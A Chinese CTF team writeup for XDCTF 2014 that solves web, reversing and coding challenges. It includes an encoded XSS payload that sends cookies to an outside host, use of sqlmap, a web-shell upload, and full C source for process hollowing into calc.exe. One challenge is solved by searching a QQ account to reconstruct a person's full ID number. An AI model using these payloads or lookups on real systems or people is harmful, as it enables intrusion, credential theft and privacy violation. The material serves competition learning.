XDCTF-Writeup

Team:ROIS_ThreeLine(ET,Rice,liognaij)

Note:

这篇writeup由本人和两位队友共同完成,非个人单独作品。其中仅包含队伍提交通过的题目,在两位队友努力下取得第14的成绩,谨以此文为纪念。

若有幸被转载还请注明出处。

XDCTF-Writeup_第1张图片

Web20

php彩蛋 URL后缀加上 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 即可得到flag

http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

 XDCTF-Writeup_第2张图片

Web50

大致看了下源码文件,发现没有flag  仔细看可以发现有两个文件修改时间和其他的不一样

 XDCTF-Writeup_第3张图片

Manifest.json打开里面有这么一行:

"Key":"dGhlIGZvbGxvd2luZyBrZXkgaXMgbm90IHRoZSByZWFseSBrZXksIHlvdSBjYW4gZmluZCBpbiB0aGUgb3RoZXIgZmlsZSE="

Base64解码发现不是真正的flag ,并被告知真正flag在另一个文件。图片隐写?Winhex打开fuck.jpg 得到一串ASCII码,转换字符得到真正flag。

XDSec@2O14    #一开始有bug 提交会出错,后来修正了

Web70

过滤字符和数字,就到谷歌搜如何绕过,使用jsFuck编码,找到这个网址http://patriciopalladino.com/files/hieroglyphy/,生成alert(/xss/)代码

exp太长不贴出,成功弹窗

 XDCTF-Writeup_第4张图片

Web100

右键源码,发现注释里有提示src/2328266727.png,打开是一个二维码,手机扫一扫是一篇文章,讲的是图片隐藏,lsb图片隐藏,拿出神器stegsolve,点data extract,red最后一位0位置上打勾,点击preview,key就出来了

XDCTF-Writeup_第5张图片

Web150

搜索一下 php解密 用php神盾解密,以pass为关键字在明文中搜索,很快就得到flag了 

 XDCTF-Writeup_第6张图片

XDSE@L0VEr2014

Web180

题目链接下载网站源码,解压后发现about.asp文件没了,直接在压缩包查看,发现about.asp为网站不死马,找到着两行:

mNametitle ="gh0st2014"  ' 标题

Copyright="qq:2725629821"  '版权

直接搜索QQ号,得到昵称和个人详细地址生日,进入空间得到身份证后四位,拼凑出完整身份证。按照题目要求填入帐号密码得到flag

Web200

存在这个文件http://y0pk678.xdctf.com:8081/read?file=newapp.py

但是每次只会随机返回两行,然后就慢慢去拼凑,拼凑了一些比较有用的

urls = (
         '/getflag', 'xdctf'
         )

def func(a):
         if a == 'le4f.net':
                   flag = open("flagishere","r").readlines()[0].strip()
                   web.header('flag', flag)
                   return 'Nice Job!!!'
         else:
                   pass
class xdctf:
                   try:       
            web.input(_unicode=func(web.input(unabletoread='showmeflag!!!!').get('unabletoread'))) return "flag is here?!!show me flag!!!!" except: Pass

_unicode存在漏洞

漏洞原理http://www.leavesongs.com/PENETRATION/web-py-runcode-tip.html

构造:http://y0pk678.xdctf.com:8081/getflag?unabletoread=le4f.net

然后抓包,查看response,就可以在header看到flag了

flag: XDCTF{X1di4nUn1Vers1tySecT3AM}

Web250

Xss题,根据提示,用 [ ] 代替 < > 作为标签符号,经测试可以发现过滤了 . < > = 可以使用<svg>标签加编码绕过,再闭合<p>标签,最终exp:

[/p][svg][script]&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#46;&#104;&#114;&#101;&#102;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#120;&#120;&#46;&#99;&#111;&#109;&#47;&#103;&#101;&#116;&#46;&#112;&#104;&#112;&#63;&#109;&#115;&#103;&#61;&#34;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;[/script][p]

Web270[1]

提示很明显,我们要从phpok这个网站入手,乌云上搜phpok的漏洞,前台任意文件上传getshell那个漏洞试了几次无法利用,用phpok的sql注入漏洞,拿出sqlmap跑,翻翻数据库,很快就跑出第一题的flag

XDCTF-Writeup_第7张图片

XDCTF-Writeup_第8张图片 

也跑出用户名admin ,密码198712

这里要注意解密密码的md5时候要把后面多余的:a5去掉,然后解密得到的明文也要去掉a5

Web270[2]

用admin和198712登录网站后台,找到模版管理,可以添加.php格式模版,直接贴上一句话(大概这样,网站打不开了,具体名字记不大清),连上菜刀,在网站根目录看到了thereisaflag~.php,打开文件就看到了flag-3rdf1agis0nth155erver 

Web270[3]

flag2提示flag3在服务器上,虽然有shell,但是没有跨目录权限,open_basedir的限制。就谷歌搜open_basedir bypass,然后找到一个php exp,主要利用sqlite一个漏洞,然后把这个php exp传到shell上,访问这个文件,一直点上层目录,然后就发现flag-whyflagisastupidfilename.txt这个文件,把后缀去掉就是flag了

exp地址:http://www.jinglingshu.org/?p=4989 

Web270[4]

上大马,根据题目提到flag形式,直接搜索关键字flag-,然后就有了

 XDCTF-Writeup_第9张图片

Crack100

用de4dot脱壳,之后用ILSpy看源码,发现有flag.rs,就在ReverseMe.exe目录下创建了flag.rs文件,输入aaa,运行ReverseMe.exe,得到あああ,多试几次后发现时单字符替换,于是就把可见的字符输入flag.rs,运行ReverseMe.exe,得到相应的密文,通过对照解出了41为的flag,cplg1r7f3~xq-%!>+@sb19)<0^&key#oXDSEC2014,提交错误。看到提示flag是44位的,

就在41位的flag后面加了3位,运行ReverseMe.exe,密文只剩下32位。分析main()函数发现41位的flag的前32位加密方法与44位flag的前32位加密方法是一样的,但44位flag的后12位多经过了2个处理,分别是method0和method1,说明44位flag的后12位经过method0和method1后变成了41位flag的后9位,把XDSEC2014 base64加密后刚好12位,再和array数组异或就得到了44位flag的后12位,加上41位flag的前32位就得到了完整的44位flag

cplg1r7f3~xq-%!>+@sb19)<0^&key#o==4102cesdx=

 XDCTF-Writeup_第10张图片

Crack120

用uncompyle2对unknownScript进行反编译,得到源码,对源码进行分析,发现加密过程是把文件读入,进行加工后输出,输出的每一个字节的低七位代表输入文件的连续相同位的个数(最大为127),最高位代表该位的值。

例如输入文件二进制为

11000000,

00110111,

对应输出为0x06,0x85,0x01,0x82,0x02

写出解密程序,解密得到有flag的图片

 XDCTF-Writeup_第11张图片

解密程序源码:

#include<stdio.h>

char plain[60000]={0};

int main()

{

         int i,count = 0;

         char c1,c2;

         FILE * fin_in = fopen("data","rb");

         FILE * fin_out = fopen("flag.jpg","wb");

         while(fscanf(fin_in,"%c",&c1)!= EOF)

         {

                   c2 = c1;

                   c1 = c1>=0?c1:c1^0x80;

                   if(c2<0)

                   {

                            for(i=0;i<c1;i++)

                            {

                                     plain[(count+i)/8]|=1<<((count+i)%8);

                            }

                   }

                   count += c1;

         }

         for(i=0;i<count/8;i++)

         {

                   fprintf(fin_out,"%c",plain[i]);

         }

         fclose(fin_in);

         fclose(fin_out);

         fin_in=NULL;

         fin_out=NULL;

         return 0;

}
View Code

Crack150

Apk题目,反编译发现提示xx神器,想起之前看过的关于这个的新闻,网上查了下分析过程,锁定aseert文件夹的k.jpg文件,winhex尝试看了下,发现最后有包含key  md5字样的乱码,往上有dex文件头,果断抠出,用notepad  utf-8格式打开,得到flag:

“key”的小写16位md5加密

Crack180

看到密文有很多的AB,觉得是培根加密,写了个脚本对截获的密文解密还是看不出什么

nc game1.xdctf.com 50008

创建一个帐号1,记下One-time-Password是a0a5c5b828c303846d2a669a4a54cb0e

之后对自己进行转帐获得密文

562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAAAA504AAABB3AABAB

137AAABAAAAAA8AAABBAAABAAABAB7AABAA71AABAAAAABBAABAB143AABAA

AAABA6AAAABAAABB99AAAAA7AABAAAABABAAAABAABAB4AAAAAAABAA5AAAA

A0AAAAA5AAABA5AAAAB828AAABA303846AAABB2AAAAA669AAAAA4AAAAA54

AAABAAAAAB0AABAA562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAA

AA504AAABB3AABAB137AAABA7AAABB4AAABA01AAAAB242927AAAABAABAA0

643AABAB06AABABAAAABAABAA29AAAAB10AAAAAAABAA

解密得到

562041a90f7f193a977a4a504d3f137ca8dcf7e71edf143ec6bd9

9a7efbf4ae5a0a5c5b828c303846d2a669a4a54cb0e562041a90f

7f193a977a4a504d3f137c7d4c01b242927be0643f06fbe29b10ae

发现其中含有One-time-Password,

多创建几个帐号后发现One-time-Password总是在第65-96位,

对截获的秘文解密后取第65-96位,成功登录Ph的帐号,

Please choose the Mode of Transfer

时要选第三个才能成功向Z2333转帐,转帐成功后就能得到

flag:xdctf{d4d5906bb2f30b3bbbc1d915e6ba0f7321}

解密脚本:

#!usr/bin/python
# Filename:Bacon_Decrypt.py
dict = {
      'AAAAA':'a',
         'AAAAB':'b',
         'AAABA':'c',
         'AAABB':'d',
         'AABAA':'e',
         'AABAB':'f'
         }
ciphertext = raw_input('Input the ciphertext : \n')
i=0
plaintext=''
length = len(ciphertext)
while(i<length):
         if ciphertext[i].isdigit():
                   plaintext += ciphertext[i]
                   i +=1
         else:
                   plaintext += dict[ciphertext[i:i+5]]
                   i += 5
print plaintext[64:96]
View Code

XDCTF-Writeup_第12张图片

Code120

按照运行原理,进入应用程序之前要先把返回地址(该地址位于kernel32.dll中)压入栈中,再转向应用程序去执行,也就是说在刚刚进入应用程序后栈顶是一个位于 kernel32.dll 中的地址,我们得到这个地址后向可以向系统内存的低地址进行搜索得到kernel32.dll的装载基址。因为 dll 文件也是标准的 PE 文件,所以得到装载基址后,可以通过搜索kernel32.dll的导出表得到GetProcAddress和LoadLibrary的内存地址,再通过LoadLibrary加载user32.dll,再调用GetProcAddress获得MessageBox的地址加以调用就可以了。

程序源码:

#include<windows.h>
#include<stdio.h>

char GetProcAddrName[]={'G','e','t','P','r','o','c','A','d','d','r','e','s','s'};
char LoadLibAddrName[]={'L','o','a','d','L','i','b','r','a','r','y','A'};

HMODULE hDllLib;
HMODULE (__stdcall*LLib)(LPCSTR lpLibFileName);
FARPROC (__stdcall*GPro)(HMODULE hModule,LPCSTR lpProcName);
int (__stdcall*fpFun)(HWND,LPSTR,LPSTR,UINT);

DWORD FindFun(DWORD,char*);

int main()
{
    DWORD KernelBase;
    IMAGE_DOS_HEADER * doshead;
    IMAGE_NT_HEADERS * nthead;
    
    _asm
    {
        mov eax,[ebp]
            mov eax,[eax+4]
            mov KernelBase,eax
    }
    KernelBase&=0xFFFF0000;
    
    while(KernelBase>=0x70000000)
    {
        doshead=(IMAGE_DOS_HEADER*)KernelBase;
        if(doshead->e_magic==IMAGE_DOS_SIGNATURE)
        {
            nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
            if(nthead->Signature==IMAGE_NT_SIGNATURE)
            {
                break;
            }
        }
        KernelBase-=0x00010000;
    }
    LLib=(HMODULE(__stdcall*)(LPCSTR))(FindFun(KernelBase,LoadLibAddrName));
    GPro=(FARPROC(__stdcall*)(HMODULE,LPCSTR))(FindFun(KernelBase,GetProcAddrName));
    hDllLib = (*LLib)("user32");
    fpFun=(int(__stdcall *)(HWND,LPSTR,LPSTR,UINT))(*GPro)(hDllLib,"MessageBoxA");
    fpFun(NULL,"Hello Word","Hello Word",MB_OK);
    return 0;
}

DWORD FindFun(DWORD KernelBase,char* Fname)
{
    unsigned i,j,num;
    char * FunName;
    WORD * AddrOfNameOrRVA;
    DWORD AddrOfProcAddr;
    DWORD * AddrOfNameRVA,* AddrOfFun;
    IMAGE_DOS_HEADER * pFile1;
    IMAGE_NT_HEADERS * pFile2;
    IMAGE_EXPORT_DIRECTORY * pExport;
    
    pFile1=(IMAGE_DOS_HEADER*)KernelBase;
    pFile2=(IMAGE_NT_HEADERS*)((PBYTE)pFile1+pFile1->e_lfanew);
    pExport=(IMAGE_EXPORT_DIRECTORY*)
        ((PBYTE)pFile1+pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
    
    AddrOfNameRVA=(DWORD*)(KernelBase+pExport->AddressOfNames);
    for(i=0;i<(int)pExport->NumberOfNames;i++)
    {
        FunName=(char *)(KernelBase+AddrOfNameRVA[i]);
        BOOL eql = TRUE;
        
        for(j=0;j<strlen(Fname);j++)
        {
            if(Fname[j]!=FunName[j])
            {
                eql=FALSE;
                break;
            }
        }
        if(eql)
        {
            AddrOfNameOrRVA=(WORD*)(KernelBase+pExport->AddressOfNameOrdinals);
            num=pExport->Base+AddrOfNameOrRVA[i];
            AddrOfFun=(DWORD*)(KernelBase+pExport->AddressOfFunctions);
            AddrOfProcAddr = KernelBase + AddrOfFun[num-1];
            break;
        }
    }
    return AddrOfProcAddr;
}
View Code

Code200

通过给CreateProcess传递CREATE_SUSPENDED参数来使calc.exe处于挂起状态,通过读取server.exe的内容来覆盖刚创建的处于挂起状态的calc.exe的空间,然后通过原始进程的空间来执行server.exe的内容

zombie.exe源码:

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

struct PE_Header 
{
    unsigned long signature;
    unsigned short machine;
    unsigned short numSections;
    unsigned long timeDateStamp;
    unsigned long pointerToSymbolTable;
    unsigned long numOfSymbols;
    unsigned short sizeOfOptionHeader;
    unsigned short characteristics;
};

struct PE_ExtHeader
{
    unsigned short magic;
    unsigned char majorLinkerVersion;
    unsigned char minorLinkerVersion;
    unsigned long sizeOfCode;
    unsigned long sizeOfInitializedData;
    unsigned long sizeOfUninitializedData;
    unsigned long addressOfEntryPoint;
    unsigned long baseOfCode;
    unsigned long baseOfData;
    unsigned long imageBase;
    unsigned long sectionAlignment;
    unsigned long fileAlignment;
    unsigned short majorOSVersion;
    unsigned short minorOSVersion;
    unsigned short majorImageVersion;
    unsigned short minorImageVersion;
    unsigned short majorSubsystemVersion;
    unsigned short minorSubsystemVersion;
    unsigned long reserved1;
    unsigned long sizeOfImage;
    unsigned long sizeOfHeaders;
    unsigned long checksum;
    unsigned short subsystem;
    unsigned short DLLCharacteristics;
    unsigned long sizeOfStackReserve;
    unsigned long sizeOfStackCommit;
    unsigned long sizeOfHeapReserve;
    unsigned long sizeOfHeapCommit;
    unsigned long loaderFlags;
    unsigned long numberOfRVAAndSizes;
    unsigned long exportTableAddress;
    unsigned long exportTableSize;
    unsigned long importTableAddress;
    unsigned long importTableSize;
    unsigned long resourceTableAddress;
    unsigned long resourceTableSize;
    unsigned long exceptionTableAddress;
    unsigned long exceptionTableSize;
    unsigned long certFilePointer;
    unsigned long certTableSize;
    unsigned long relocationTableAddress;
    unsigned long relocationTableSize;
    unsigned long debugDataAddress;
    unsigned long debugDataSize;
    unsigned long archDataAddress;
    unsigned long archDataSize;
    unsigned long globalPtrAddress;
    unsigned long globalPtrSize;
    unsigned long TLSTableAddress;
    unsigned long TLSTableSize;
    unsigned long loadConfigTableAddress;
    unsigned long loadConfigTableSize;
    unsigned long boundImportTableAddress;
    unsigned long boundImportTableSize;
    unsigned long importAddressTableAddress;
    unsigned long importAddressTableSize;
    unsigned long delayImportDescAddress;
    unsigned long delayImportDescSize;
    unsigned long COMHeaderAddress;
    unsigned long COMHeaderSize;
    unsigned long reserved2;
    unsigned long reserved3;
};


struct SectionHeader
{
    unsigned char sectionName[8];
    unsigned long virtualSize;
    unsigned long virtualAddress;
    unsigned long sizeOfRawData;
    unsigned long pointerToRawData;
    unsigned long pointerToRelocations;
    unsigned long pointerToLineNumbers;
    unsigned short numberOfRelocations;
    unsigned short numberOfLineNumbers;
    unsigned long characteristics;
};

struct MZHeader
{
    unsigned short signature;
    unsigned short partPag;
    unsigned short pageCnt;
    unsigned short reloCnt;
    unsigned short hdrSize;
    unsigned short minMem;
    unsigned short maxMem;
    unsigned short reloSS;
    unsigned short exeSP;
    unsigned short chksum;
    unsigned short exeIP;
    unsigned short reloCS;
    unsigned short tablOff;
    unsigned short overlay;
    unsigned char reserved[32];
    unsigned long offsetToPE;
};


struct ImportDirEntry
{
    DWORD importLookupTable;
    DWORD timeDateStamp;
    DWORD fowarderChain;
    DWORD nameRVA;
    DWORD importAddressTable;
};

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
                SectionHeader **outSecHdr)
{
    fseek(fp, 0, SEEK_END);
    long fileSize = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    
    if(fileSize < sizeof(MZHeader))
    {        
        return false;
    }
    MZHeader mzH;
    fread(&mzH, sizeof(MZHeader), 1, fp);
    
    if(mzH.signature != 0x5a4d)
    {
        return false;
    }
    
    if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
    {        
        return false;
    }
    fseek(fp, mzH.offsetToPE, SEEK_SET);
    PE_Header peH;
    fread(&peH, sizeof(PE_Header), 1, fp);
    
    if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
    {
        return false;
    }
    
    PE_ExtHeader peXH;
    
    fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
    
    SectionHeader *secHdr = new SectionHeader[peH.numSections];
    
    fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
    
    *outMZ = mzH;
    *outPE = peH;
    *outpeXH = peXH;
    *outSecHdr = secHdr;
    
    return true;
}

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                       SectionHeader *inSecHdr)
{
    int result = 0;
    int alignment = inpeXH->sectionAlignment;
    
    if(inpeXH->sizeOfHeaders % alignment == 0)
        result += inpeXH->sizeOfHeaders;
    else
    {
        int val = inpeXH->sizeOfHeaders / alignment;
        val++;
        result += (val * alignment);
    }
    
    
    for(int i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].virtualSize)
        {
            if(inSecHdr[i].virtualSize % alignment == 0)
                result += inSecHdr[i].virtualSize;
            else
            {
                int val = inSecHdr[i].virtualSize / alignment;
                val++;
                result += (val * alignment);
            }
        }
    }
    
    return result;
}

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{    
    if(curSize % alignment == 0)
        return curSize;
    else
    {
        int val = curSize / alignment;
        val++;
        return (val * alignment);
    }
}

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc)
{
    char *outPtr = (char *)ptrLoc;
    
    fseek(fp, 0, SEEK_SET);
    unsigned long headerSize = inpeXH->sizeOfHeaders;
    
    int i = 0;
    
    for(i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].pointerToRawData < headerSize)
            headerSize = inSecHdr[i].pointerToRawData;
    }
    
    unsigned long readSize = fread(outPtr, 1, headerSize, fp);
    
    if(readSize != headerSize)
    {
        return false;        
    }
    
    outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
    
    for(i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].sizeOfRawData > 0)
        {
            unsigned long toRead = inSecHdr[i].sizeOfRawData;
            if(toRead > inSecHdr[i].virtualSize)
                toRead = inSecHdr[i].virtualSize;
            
            fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
            readSize = fread(outPtr, 1, toRead, fp);
            
            if(readSize != toRead)
            {
                return false;
            }
            outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
        else
        {
            if(inSecHdr[i].virtualSize)
                outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
    }
    
    return true;
}


struct FixupBlock
{
    unsigned long pageRVA;
    unsigned long blockSize;
};

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                  SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
        long delta = newBase - inpeXH->imageBase;
        
        while(fixBlk->blockSize)
        {
            int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
            
            unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
            
            for(int i = 0; i < numEntries; i++)
            {
                DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
                
                int relocType = (*offsetPtr & 0xF000) >> 12;
                
                if(relocType == 3)
                    *codeLoc = ((DWORD)*codeLoc) + delta;
                offsetPtr++;
            }
            
            fixBlk = (FixupBlock *)offsetPtr;
        }
    }    
}


#define TARGETPROC "calc.exe"

typedef struct _PROCINFO
{
    DWORD baseAddr;
    DWORD imageSize;
} PROCINFO;

BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
    STARTUPINFO si = {0};
    
    if(CreateProcess(NULL, TARGETPROC,
        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))        
    {
        ctx->ContextFlags=CONTEXT_FULL;
        GetThreadContext(pi->hThread, ctx);
        
        DWORD *pebInfo = (DWORD *)ctx->Ebx;
        DWORD read;
        ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
        
        DWORD curAddr = outChildProcInfo->baseAddr;
        MEMORY_BASIC_INFORMATION memInfo;
        while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
        {
            if(memInfo.State == MEM_FREE)
                break;
            curAddr += memInfo.RegionSize;
        }
        outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
        
        return TRUE;
    }
    return FALSE;
}

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        return TRUE;
    }
    return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi;
    CONTEXT ctx;
    PROCINFO childInfo;
    
    if(createChild(&pi, &ctx, &childInfo)) 
    {        
        
        LPVOID v = (LPVOID)NULL;
        
        if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
        {
            v = (LPVOID)childInfo.baseAddr;
            DWORD oldProtect;
            VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);            
            
            
        }
        else
        {
            PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
            
            if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
            {
                v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            }
        }
        
        if(!v && hasRelocationTable(inpeXH))
        {
            v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(v)
            {        
                doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
            }
        }
        
        if(v)
        {            
            DWORD *pebInfo = (DWORD *)ctx.Ebx;
            DWORD wrote;                        
            WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
            PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
            peXH->imageBase = (DWORD)v;
            
            if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
            {    
                ctx.ContextFlags=CONTEXT_FULL;                
                
                if((DWORD)v == childInfo.baseAddr)
                {
                    ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;        
                }
                else
                {
                    
                    ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;    
                }
                
                SetThreadContext(pi.hThread,&ctx);
                
                ResumeThread(pi.hThread);
                printf("成功 (PID = %d).\n", pi.dwProcessId);
            }
            else
            {
                TerminateProcess(pi.hProcess, 0);
            }
        }
        else
        {
            TerminateProcess(pi.hProcess, 0);
        }
    }
}




int main(int argc, char* argv[])
{
    if(argc != 2)
    {
        printf("\nUsage: %s <EXE filename>\n", argv[0]);
        return 1;
    }
    
    FILE *fp = fopen(argv[1], "rb");
    if(fp)
    {
        MZHeader mzH;
        PE_Header peH;
        PE_ExtHeader peXH;
        SectionHeader *secHdr;
        
        if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
        {
            int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
            
            LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(ptrLoc)
            {
                loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                                
                
                doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                                
            }
        }
        
        fclose(fp);
    }
    return 0;
}
View Code

server.exe源码:

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

LRESULT CALLBACK WinProc(HWND, UINT, WPARAM, LPARAM);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
    static TCHAR szAppName[] = TEXT("MyWindows");
    HWND hwnd;
    MSG msg;
    WNDCLASS wndclass;
    
    wndclass.style = CS_HREDRAW | CS_VREDRAW;
    wndclass.lpfnWndProc = WinProc;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hInstance = hInstance;
    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    wndclass.lpszMenuName = NULL;
    wndclass.lpszClassName = szAppName;
    
    if(!RegisterClass(&wndclass))
    {
        MessageBox(NULL, TEXT("这个程序需要Windows NT!!!"),szAppName,MB_ICONERROR);
        return 0;
    }
    
    hwnd = CreateWindow(szAppName,
        TEXT("Hello World"),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        200,
        200,
        NULL,
        NULL,
        hInstance,
        NULL);
    
    ShowWindow(hwnd, iCmdShow);
    UpdateWindow(hwnd);
    
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    return msg.wParam;
}

LRESULT CALLBACK WinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    HDC hdc;
    PAINTSTRUCT ps;
    RECT rect;
    int len = 0;
    WSADATA wd;
    int ret = 0;
    SOCKET s,c;
    char sendBuf[1000]="", recvBuf[1000]="";
    SOCKADDR_IN saddr, caddr;
    ret = WSAStartup(MAKEWORD(2,2),&wd);
    
    if(ret != 0)
    {
        return 0;
    }
    if(HIBYTE(wd.wVersion)!=2 || LOBYTE(wd.wVersion)!=2)
    {
        printf("初始化失败");
        WSACleanup();
        return 1;
    }
    s = socket(AF_INET, SOCK_STREAM, 0);
    saddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    saddr.sin_family = AF_INET; 
    saddr.sin_port = htons(80);
    
    bind(s, (SOCKADDR *)&saddr, sizeof(SOCKADDR));
    listen(s,5);
    len = sizeof(SOCKADDR);
    
    switch(message)
    {
    case WM_PAINT:
        hdc = BeginPaint(hwnd,&ps);
        GetClientRect(hwnd,&rect);
        DrawText(hdc, TEXT("正在监听80端口!!!"), -1, &rect,
            DT_SINGLELINE | DT_CENTER | DT_VCENTER);
        EndPaint(hwnd, &ps);
        c = accept(s, (SOCKADDR*)&caddr, &len);
        sprintf(sendBuf, "Hello World\n");
        send(c, sendBuf, strlen(sendBuf)+1, 0);
        closesocket(c);
        WSACleanup();
        return 0;
        
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    
    return DefWindowProc(hwnd, message, wParam, lParam);
}
View Code

命令行下输入zombie.exe server.exe

zombie.exe 会使calc.exe成为傀儡进程,之后加载server.exe来监听80端口

 

你可能感兴趣的:(write)